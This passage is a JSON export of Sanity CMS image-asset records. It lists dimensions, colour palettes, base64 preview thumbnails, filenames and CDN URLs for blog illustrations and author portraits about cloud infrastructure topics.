ty.imagePaletteSwatch","background":"#a1a6cd","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4ccfc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e6dac","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3810e","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"static-ip-blog-firewall-deny.png","path":"images/sczeoy4w/production/cff7822beb0a13b8160433e3729eb4195930410f-1083x551.png","sha1hash":"cff7822beb0a13b8160433e3729eb4195930410f","size":24731,"title":null,"uploadId":"huK6WrwHvRA1bW1pjGukHlNGk4ohNoAF","url":"https://cdn.sanity.io/images/sczeoy4w/production/cff7822beb0a13b8160433e3729eb4195930410f-1083x551.png"} {"_createdAt":"2023-03-07T08:35:31Z","_id":"image-a988d0f1be0e7031bd2f32b2f855b21b600cd030-3840x2160-png","_rev":"zGsPSGo9JGPfNa4sIZBjQL","_type":"sanity.imageAsset","_updatedAt":"2023-03-07T08:35:31Z","assetId":"a988d0f1be0e7031bd2f32b2f855b21b600cd030","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3Qv,z?8~T_3p04?4ox]RjxuIvE5Myt7-.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":2160,"width":3840},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB20lEQVQokX2Oy27bMBQF9f9fVDQtmgIFuuguia0oip6USIoUeS/fethy4bTrALM7GJzJ8nJ+/FV++X56eDx/+5l//XF+eMx//2mec35+E6diesrZy+uUl/JUiOecv7zyqocZNxNu2chD8S7OBS/eRVnL11KcClE2mjA3ijBOYZz8OHkqApORy0Anx2SYcUN/ZDOuFUUyGTTRuqQg9czVvakJNsS0g+lG142OcC90mnUgFOseCfPK7JnA5ambi3FWYBH9x2zfal1U6q3WZaOqDhpiCQszLFKFlkDZwId8ybRdK4bNOPNJy9loHSbhmg6qzow88MmR4Z5ARQK7KR0JtT3zQq/3bOs3qRwXKKQB8M6vGlL70SxhBVwGaspaE+a12RQsA3P/ZHBH5sKutJ8ESmmMiSFsgIlQ241OwgZmo5NviaUiabsr3JiITCYJ+/05pIvSbhjnnkjOwZgI4DsC7y0wmTSuA3NVi1REbS9SL4S6gQeJuwlHFperdYtUljJNGWiMYJaB+3awfF602amIDbGjiMpcFG5ktG2PdAra7plPt7BcfdrBrgoTut2Eq7YXZXZwV/SHtpcZd2Uu4A70h9LLRJFSFDplNt5sPO6Ew/zn9hnuCpCkijNufwHkQ2A63o7swgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#35395f","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#136171","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a9adcd","foreground":"#000","population":0.32,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9adcd","foreground":"#000","population":0.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0e9fc","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#667f99","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#25bcda","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"dar-aiven (1).png","path":"images/sczeoy4w/production/a988d0f1be0e7031bd2f32b2f855b21b600cd030-3840x2160.png","sha1hash":"a988d0f1be0e7031bd2f32b2f855b21b600cd030","size":191480,"uploadId":"dylK9IXlnuTBSA3iTPHme8ZzrdJAe9nY","url":"https://cdn.sanity.io/images/sczeoy4w/production/a988d0f1be0e7031bd2f32b2f855b21b600cd030-3840x2160.png"} {"_createdAt":"2023-03-02T12:19:46Z","_id":"image-1447ddbddc46e756dbed823c8b935cd728c1c775-2560x1440-png","_rev":"zGsPSGo9JGPfNa4sHrz6Et","_type":"sanity.imageAsset","_updatedAt":"2023-03-02T12:19:46Z","assetId":"1447ddbddc46e756dbed823c8b935cd728c1c775","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBQmF-.ADhjE-=ROS5M{%2Nx_4I9xvxCI=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1440,"width":2560},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAACLElEQVQokX2STW/aQBRF/b/7O7Jk0UrdEKkJWVIlUUlTmhBICRAbMBgwGBvbY48/CCHQU41R0laVurgaz7Pm6N73nmZaLg+9Ma12n/v2gL65wPEkXpCxCtf4Ys0qyHH9DC/IEXJLEqXkM51Y/4Z+W+P66zUDc0qcbtEUQMEaLb2Q+u70xvT0CcbAxhjOeexP6TxaGEMbx0uQQpIvTAKzTb12QaVSodX6gYgztNHEo6tbPPRGxalAPWPKozFFH8zQB3YB7BkTTGtZuE6SZzIR4s4srmpfqJyd0WrdE4Qx2mwhMMdLBqNF8WA6D4rIrp8WERXgoJzQz5F+Thxt8MOUblenXD6mVCpRrX7GmszQpnZQwPrmnJG1xHZEAQrjDTLdkeQ/35T6OcJ0GHSH3N61ubi84v2HjxwdHXFaLmG2Ph2AQ+Vu7BQw1XzlxhdPBTSMn4tBRMkLUZAz61tcXdY4OTnl/PyS20abRqPJsHGMvHuHppqsYs7mIY57iKqg7kqdB6mJB0XMDNO0qNfrVKtVvt/cYM89ojgnWxk8WWW0IMhZujGOG//u26vCg9TqKJeByLEmNg+dDs1mE8Pos/QEUbJFphtSKdGkK3DtFQtHFDFVtDjd/SPVwzh9wfMl9nzJfO7grgSu2lexIUr2JGvQEl/iLwWuJw9Lq5q/5q9h/FmT2Q6ZKkdbQvmMF27woy1xui/+a0m+J8n2yOxQ+J8U9FXqHqV7onT39lbVfwF+Wyl4ogoLTAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#48494c","foreground":"#fff","population":2.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#805b03","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#48494c","foreground":"#fff","population":2.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8c1a6","foreground":"#000","population":1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6ca4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#747c85","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8b71b","foreground":"#000","population":0.7,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2023-03-02_13-18-25.png","path":"images/sczeoy4w/production/1447ddbddc46e756dbed823c8b935cd728c1c775-2560x1440.png","sha1hash":"1447ddbddc46e756dbed823c8b935cd728c1c775","size":888011,"uploadId":"ctDzYush00ZX8NNAtuH2FtBJz0FEXW8R","url":"https://cdn.sanity.io/images/sczeoy4w/production/1447ddbddc46e756dbed823c8b935cd728c1c775-2560x1440.png"} {"_createdAt":"2023-04-20T07:50:11Z","_id":"image-556c74341f59c87a641f332e857c906f51165502-1567x844-png","_rev":"0gP1FJK1vZ1k6mTChHXHZi","_type":"sanity.imageAsset","_updatedAt":"2023-04-20T07:50:11Z","assetId":"556c74341f59c87a641f332e857c906f51165502","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA7_8L-.I8oba%_4xuM_bJa}D$Rjxbaxoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC50lEQVQokSVSeVNScRR9n0DgLbx9hQQlK5vJybEITQsVFx4oIKBPQwLEMddcJjKzTVusaXHG6WPSWAO/04B/nLn3zp059545h2KkGQh6BqKRBa/nwRsOBLMA0SpB9K1AvvYMamAbZmgfvp4azFANcucuvMYqGKUAWnbgFrNwCWl4pBwoxZ9D790qBoa2EB7ZRXjkAP2RffSFD9D3oIaB4WNEoicYmfiCaPw7IqNnCN5+Aa9RAa0sgVELYJQn8Ej5NigjMI+BwQ3E7EMk597BznxALPEOscQJYomPmEqdIZn7ibRzgbTzG1Opc/QPvUFX7yau9VShB9fAm1Ww6lOwWgmUP7SIyKMd2Klj2Jm3iNnHmJ79gNncGezMGaZTXzGT/4WMc4HUwm/EM+cYT3zBw/Ej3B/ex/U7u5D8G/CazyD6dkAFbhQwFH2OyeQrxOwjjMVfYyL5HpMzJxi3TzFuf8ZE8ismUz+QzF0gkT3HWPwUfeEdBG+WoXWW4NVL4PQqBN82KKvbQd/9NYSHdxB5vIeHYzVEoi8RfnSIB4+PMTj6HoNjp4iMfsLI5DdE499wb/gVrK4iaCkDj5htm0HLi+D0CihGnoVozEH25aF1LsEIFmEEyzC7VmGF1uHv2Yb/xi58PfvovFVDoPcQVmgTXn2pbQanVdpkHmn+irCDi5MOziYuPkncQpq4xRzxSA5hlAJhtRLh9BXCapWr3lglvLlBOL1KGLUIr7lGBGuLsGqRMMoTwpvrhBKEaehqEro/D9nngFMX2tlqxYHTym3QSuuDK1msutyutOwQVnsKVi2ClhfQOsBbm6A0aarRbc00QteXGlb3coPXnQYtOw1GKTRYrdwGLS80XUKq6RazTY8033QJaeLiZ1uBJq25tef0SlP07zUphp+uC1KiLmiZulfL1Rk5X6dlp84ohTqrleqcvtLq/7jFuUuPmLuk5cW/LiHd7PDacPGpltR/nFa+5K2NSyVw9Oc/ch2CTtb1LVAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#362d5c","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":12.75,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":12.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0b7d6","foreground":"#000","population":0.51,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c1c6e7","foreground":"#000","population":0.68,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a07458","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c5424a","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Things_to_consider_when_optimizing_cloud_infrastructure_costs_blog.png","path":"images/sczeoy4w/production/556c74341f59c87a641f332e857c906f51165502-1567x844.png","sha1hash":"556c74341f59c87a641f332e857c906f51165502","size":148597,"uploadId":"ltmAkG2tozJrJzImTntEfVynwigDYLkx","url":"https://cdn.sanity.io/images/sczeoy4w/production/556c74341f59c87a641f332e857c906f51165502-1567x844.png"} {"_createdAt":"2023-03-02T09:22:02Z","_id":"image-324f5893e71c32b1ed8e8d27e71597b4cea4e8de-1567x844-jpg","_rev":"zGsPSGo9JGPfNa4sHqXG2d","_type":"sanity.imageAsset","_updatedAt":"2023-03-02T09:22:02Z","assetId":"324f5893e71c32b1ed8e8d27e71597b4cea4e8de","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M75FhY?bRPV[of_4%gM{RjkCxus:V@oLof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAQDB//EAB4QAAIBBAMBAAAAAAAAAAAAAAECAAMEITEFERJB/8QAFgEBAQEAAAAAAAAAAAAAAAAAAQUG/8QAFxEBAQEBAAAAAAAAAAAAAAAAAQAxIf/aAAwDAQACEQMRAD8A5CnK2S0lAsVLgdEnrMi5C8S5XzSoU6SbwMyW40mtTP4s1AG0RXIFxEMcxGOX/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543a41","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":69.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":69.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#919fb8","foreground":"#000","population":0.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9babe5","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#617694","foreground":"#fff","population":0.85,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba4a74","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Get_monitoring _with Grafana_in_1-2-3_blog.jpg","path":"images/sczeoy4w/production/324f5893e71c32b1ed8e8d27e71597b4cea4e8de-1567x844.jpg","sha1hash":"324f5893e71c32b1ed8e8d27e71597b4cea4e8de","size":131636,"uploadId":"P4JCBwNXbbfPLVt6FAF1dWwnGZBqb1FX","url":"https://cdn.sanity.io/images/sczeoy4w/production/324f5893e71c32b1ed8e8d27e71597b4cea4e8de-1567x844.jpg"} {"_createdAt":"2023-01-23T14:16:16Z","_id":"image-9074e07d23f930b160ef9be7ded118fa58102f70-2500x1308-png","_rev":"7aZRizEs9TRA92eUW30Tr7","_type":"sanity.imageAsset","_updatedAt":"2023-01-23T14:16:47Z","altText":null,"assetId":"9074e07d23f930b160ef9be7ded118fa58102f70","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLQJAvP;%1quYkCRh|tRTxvficSzX9n4kW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABcRAAAXEQHKJvM/AAACEElEQVQokX2STW8SURSG+S+umiYudG9cNy5cGN2oO1dVY9T4G4wr3dR0aWK6Mqmp/aACBQoMFAGbFhJbvmZggLlzBzO0DFX78Zh7oZpuunhyzpx75r3vPfeGemJAvdmlWrep1TvsV9s6b1oOTUvoaLZUPMeh1ujonpYtEfIQ2Q80rjckZHf7FIpl4okssXiGSCxFNJYinsySSGaJJwxSmW8kU1v/SGzmdG17Zw+rPRZVYnIs+JPc1jarazFWVqMsr0Q0Kl9aXmfpS5jwepzV8IbuWQtvEP6aIBLdZDOdn4i6uN7Yaajr+OyUq3pRkTYKGNkSRu67dqFqGaNIKp3XZLJFjFxpHI0CxeIuDbOHUA6VoLKrXJqW0Kjd1GxatqePo77NlkvDEjRMoXNdr1m0i3k62yUcu4frHYyPfD7Qy3D7Ac3eiLI5otENcLsefj7O6ONrgsV3DCpr9DtlpPQJqeYLeMMLqF0dOWTXDEhWRlSqEpnfYDT3jOPnN/nz5hZH0VkO9hbwhCCkfnDFAMfxccQA4U1ubCIu+0M9n0ZnSGXfpZ2Jcjj/lOMn1zl7MMXJqxv8+jzLYO8TnugRku4AYfVo1W393tS7vCConQYI4SN3shx8eMnvF9c4eXiFszvTnDyaYbgwR7/5A+n5/wWtywTVLB0P31jk6O1djh9Pc3p/irPbVzm9N0Pwfh6vZuu+vxd8vIuavgOhAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#46494a","foreground":"#fff","population":0.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#812403","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f95a21","foreground":"#fff","population":7.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8bdc4","foreground":"#000","population":1.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9dd6b","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a46c64","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f95a21","foreground":"#fff","population":7.38,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Breaking_new_ground_in_Apache_Kafka_governance_social_media.png","path":"images/sczeoy4w/production/9074e07d23f930b160ef9be7ded118fa58102f70-2500x1308.png","sha1hash":"9074e07d23f930b160ef9be7ded118fa58102f70","size":124390,"title":"Breaking new ground in Apache Kafka governance","uploadId":"R9fnGxVubNnujKrYJ12NZEvG5fONtKpq","url":"https://cdn.sanity.io/images/sczeoy4w/production/9074e07d23f930b160ef9be7ded118fa58102f70-2500x1308.png"} {"_createdAt":"2023-03-15T18:55:58Z","_id":"image-ab11bf69db29973b1c6fd8b73b3d46f4a5a3e655-2049x2069-png","_rev":"RksXZeZKLvjmDTh00gOGkX","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T18:55:58Z","assetId":"ab11bf69db29973b1c6fd8b73b3d46f4a5a3e655","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eLKmnR9GLf-o=x~Ut7I;ShRj9ufRR6NH%1-:oLs.W;RjNHbHRjaef*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9903334944417593,"height":2069,"width":2049},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFKUlEQVQ4jT3T20+bhxnH8fevWNXRrVvVXWyVFlWb1pFWWZd0PaQhhwaPlM0JGJiJswAhBRIOgQRCIcRADQa/Nj7g03uw39cnTjYGHyEkNO3aad3WRZu0TlsvchFNO2hX38lOlYvf7Ue/59HzCMsBB/7AIoHAIsHAIqGvIi/Ps+a1ct83yefhKT6WZ8mE7ehhB7oiktBcrMU9pFPLZFcDbK+HyKclBH9wkUqCQQehoEg4KCIv20kt3WJfvM7ffDd4FLnFw8Qsf9Rs5OUFkoqTpLZUBTOpZbbWguQ2wuTTMkIgKFJJKORCCrmRg0401xQ52wB/mO/jofca/45O8N+1D/jn6gc80GzkVAcrUTfrCS+bK/4qmN+QKKRVhGDITSjkRgp7UCQfim8BfWaI0mQnf5rr4aHnGv+Sx/lPcpr/rc3yKDnDp9ocad31BNyujqtQTGsIobAHKeytYhHZh+SaRhnrYnOknY8mOnlg6+XvziG+9I7wMDjKI/V9/hydIa+LbCR9ZFcr41baRSll4giS5EGWvFUsqngIi5P4BttZ7mhk+cK76N3nKF+3UBo2kx1o4SNrF5/5xynpjif7y28oFDM65c0Egiy7UWU3EcVDVFlCEidx9LUyfvY4/fVvYj17nJUrTaR6zyG2nEK9bGTPPkBZtZNN+theC1HYUCllYuxkkwiqUsGWiKpLaLKIND+G+J4Jq+kUU83v4L1wht2bFn47c5ntG+cp3LTwyUI/d/1WcjEPuQqYViltxtjZSiBEqqCLqOpEC9mRrEP4upuRu41sDLaR7W/l/s2LfLE4wD/cw3zpG+av7hE+9N5+DK6HKWQUSlsa5VwMIaq6iaouNNWBLtlRbTcI9ppJ9LawPWQm0XWOeMc59q5d4HNrD18sDPAX9xj70hy5lJ9cWqKQVSjlouzk9cegpjrRVQdxZRHdY0UavYx82YTUYWSxyYBoNLDSYeLOkIX74138xjnGru4iVzmXTZniVoRSTmO3oCNokSX0iEhcdZCsJDRP1DZM4EobDnMD040ncRsbyFxq497IBfZvXWLPO0Ex6SWXkShm1Wq7cl5ntxhD0KNO4hGRZEQkVfkA2Y7mvIlnsJ05swGx1UCq08SnY908mOvjE8cg5fAMuVU/hU2Z8laEnWq7GHdKcYQKlvgKXFEdJMI2XNZBxiyNTDYdx2s5Q/ZqO59N9fL7+asU7UOkwzZy6wFKWYWd7Sh38jp7xTh3SwmEJ1jEwaq6QMg5QY/FRNNbP6W//jVsppOELxpZ728nNdCOs+dX+KZHyMTdlLMKuzmNvUKMu8U4++UkQlJxkFIWiIdsBBzvM9zXRd3rx3j7pR/TfeIw48ZjzLbW4+s6i/+SkXHjKUbMLXhnJ1hVliisS+zlde6VEo/BeGiOsGsK61g/ltZWXj9ygu+/cIhXDtTSdvQw1411zJgbCPQ0s3KtDbG9gUunDFxp/TXTgyME5mfJxALs5WLsl1MILusoIz3d1J94lxcP/IznnnuFbz1bywvfOcjbB1+l851jTJsbSV238PF8L9pVMxfr6mk+ZqSj8TyD599DvHWbTDzMvWIKodtk5uzJX3DoR0d5/tuHqPl6Lc/U1PLNZ2r53vMvc/iHR+g8bWBtvJsHgVHUoU5a3jpN/WEDzSdNWBrOM2C5wrJ9nmI6inDmjZ9jeO00bx6s48B3j/CNmpepqTlYhZ/62ks8/VQtr/7gKN6+Dn7nHcXX14HxDQN1P6nnl3VNmA3tdBg7uT08xrrm5/8SCEMtUbe0DgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#47323d","foreground":"#fff","population":2.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b1934","foreground":"#fff","population":6.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f3a785","foreground":"#000","population":7.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfb5a0","foreground":"#000","population":5.98,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3a785","foreground":"#000","population":7.27,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a46d5b","foreground":"#fff","population":1.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea9d74","foreground":"#000","population":0.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Chris Butler.png","path":"images/sczeoy4w/production/ab11bf69db29973b1c6fd8b73b3d46f4a5a3e655-2049x2069.png","sha1hash":"ab11bf69db29973b1c6fd8b73b3d46f4a5a3e655","size":4274204,"uploadId":"vYWIuW5Px5f4i4KDTGJay7RGaQ6FqX1a","url":"https://cdn.sanity.io/images/sczeoy4w/production/ab11bf69db29973b1c6fd8b73b3d46f4a5a3e655-2049x2069.png"} {"_createdAt":"2023-04-18T08:42:34Z","_id":"image-e5e95244810e86477e8960da83f2dfca345d83b6-512x512-png","_rev":"rJUhHYnxPdW15WAgs3Nm0e","_type":"sanity.imageAsset","_updatedAt":"2023-05-02T15:45:57Z","altText":"Hariharan Ramkumar","assetId":"e5e95244810e86477e8960da83f2dfca345d83b6","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"erPh^8ja_Nj[E1lnof%MayRPVFflM{ayozt,a|sAfQR*t6f6Rjj@Vt","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEk0lEQVQ4jU3RiVOUdRwG8HdXNJ1Ea9REKlFDGeQQdO9dCQMV8ALR8kgQHVOjFScSmxyuUTTSxgo6UNNKNI1pNI8xj1RURg5NxNUFXPZ493333fPd99133/P3vkyzOzb1B3zm+32eB+JJVAh7RRYXeVIUwgAwHBd2oo7LVy/UNdZ9VLXjYNPBjq52gvCIYlgClCSQEhcAYbdAIBAfcgm0D7BBwJNACHNc2Gq3nDh1fO3mdRlZiiRVmm5x9ifVuzq62mkal0R6GISGeVykPYBEIYHCAOMHHCFEsc/nOt3Wmr+qYFLilNGTx740OTb2jYlp+sx9h/Za7QMA0JIYGhaCEuMVKRckhN2A9QOeiF6mzP29FVXGGSkJb057NSlxYvJbE6dOfSVu+qSV7xe137vOsmT0c0Ji/WIYi2LGL3IE4EMCH+p+cHdD2WpDZsL2xekN72r3r1Rtz05SJ8flFsw/d/EsRQX+h92QQLkF2g9YAnAR/ODBncry9caCzBOb37lSsfRKef6xtbot2ckla/KuXjvPMMEXmAuItCeaOVIYHonNEf2P7n6/54PqFcr6JRlfFyqaChXVC1MrFqYf2FnS23NL4F+8Lb7AJCaEPdHOcMDimLnz5je7j5Ys2J+X8d0q7ZG1hr2L5xxarb/wZRUy0AMAKYHQf5gPokIIE2gPYHyADRBwn/nMwRs7C0+/Z7i0Nf/P8mWn1xgulS81nT1MugZEEIriyNQRzOFOnkAja0c281LuwadtTWdKcw/nph0r1v1YrD+Uk3qyJOfZ+RYahyNYICX+38JYvyPqEZ5EBMoV9lv7Lv/SUprXsCDlh0Jd83JtbVZy88YC043fOAoTBUISiGE+KDE+kcIg1mvj/A4eh/kgzBNOLuh43nPteFVZQ35m03L14aWqugLFT3VG+9P7AusTOVzicYnDJdonhjCIways28p5bZzPxnqtjMdqe3j759ryj3NSP9QmbtPOrFymaWtuwAZ6edItsn6JC0iMX6I8IumCaOQ5g1oYxBK2DZBPHgdu3hk8dfb3msrPlihLM+I3ZsZXF2n+aKyBz5yjrrZzJhPAHGIQE0kXCCJQyGomzX3Bzi7vxRvu5l/Rbfssayrv79xz0rjlwMr5+wvSWrYu+6u+3l5W61+xC6/4gvy2lb5+m7OYeZ8D8t26ixxptVZ9PrRhty17s2Navn3KgqGs0r+NtVdqq9tqdlxqrOvd3YjO3eAdn+uOz3OlFrmLd+BHW5lBE2Tf89WTnHWPEvTPJqktsUrHKCUco0TGvw3PXT+wqeZRQ3NffZN1iRGdsMg9IgsbaXCOUtsm6B3F2wMXLkImVXHnhPRu+fSn8iSLLM0uU8AyNSLXYGOy0IQVTv0Wh2YTHLcIidGiMXrnywbHWN3QaMXg7Dz7p3uhh7Gz741M6JbNMMmS+qHZFijDDikQmcYl16Ej9ciY+c4xBjhG5ZQr4Vi1bZbGkqJ5Plnx7DVtn64Q6pLHd8he75FNfwzN7INmmaEUK5TphNSoTIPI1U65GparYLkCHjHPHq8cWqgeLJrXn57xZNycznGp/wAR6RCkwBisWwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#292114","foreground":"#fff","population":13.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c70412","foreground":"#fff","population":0.37,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#292114","foreground":"#fff","population":13.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2c4bc","foreground":"#000","population":0.34,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa67a1","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#960222","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e20434","foreground":"#fff","population":12.94,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"hariharan-ramkumar.png","path":"images/sczeoy4w/production/e5e95244810e86477e8960da83f2dfca345d83b6-512x512.png","sha1hash":"e5e95244810e86477e8960da83f2dfca345d83b6","size":406137,"title":null,"uploadId":"4Eklz2Z1UTKxU7gtrom6COxMvqkzHwZV","url":"https://cdn.sanity.io/images/sczeoy4w/production/e5e95244810e86477e8960da83f2dfca345d83b6-512x512.png"} {"_createdAt":"2023-03-24T13:40:59Z","_id":"image-3ab6b576465ebda95c03c4ce7528196e3cda8e1f-3840x1824-png","_rev":"1oHBwgBQDb4TFd5EYPwdUx","_type":"sanity.imageAsset","_updatedAt":"2023-03-24T13:40:59Z","assetId":"3ab6b576465ebda95c03c4ce7528196e3cda8e1f","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1052631578947367,"height":1824,"width":3840},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB60lEQVQokTVSa1PaUBTM//8PHbWCFGsdxRbaTjvVGXWKQJSAhEcgaF735j6Tm/eLTpTO7Iez58PuzjkreeHOCyselDyoeD1UXlhRvwA4tGFAeFZvgv2eBxUTBcCRBQViqeSFNSc8wzxHLNua/lzD0zl4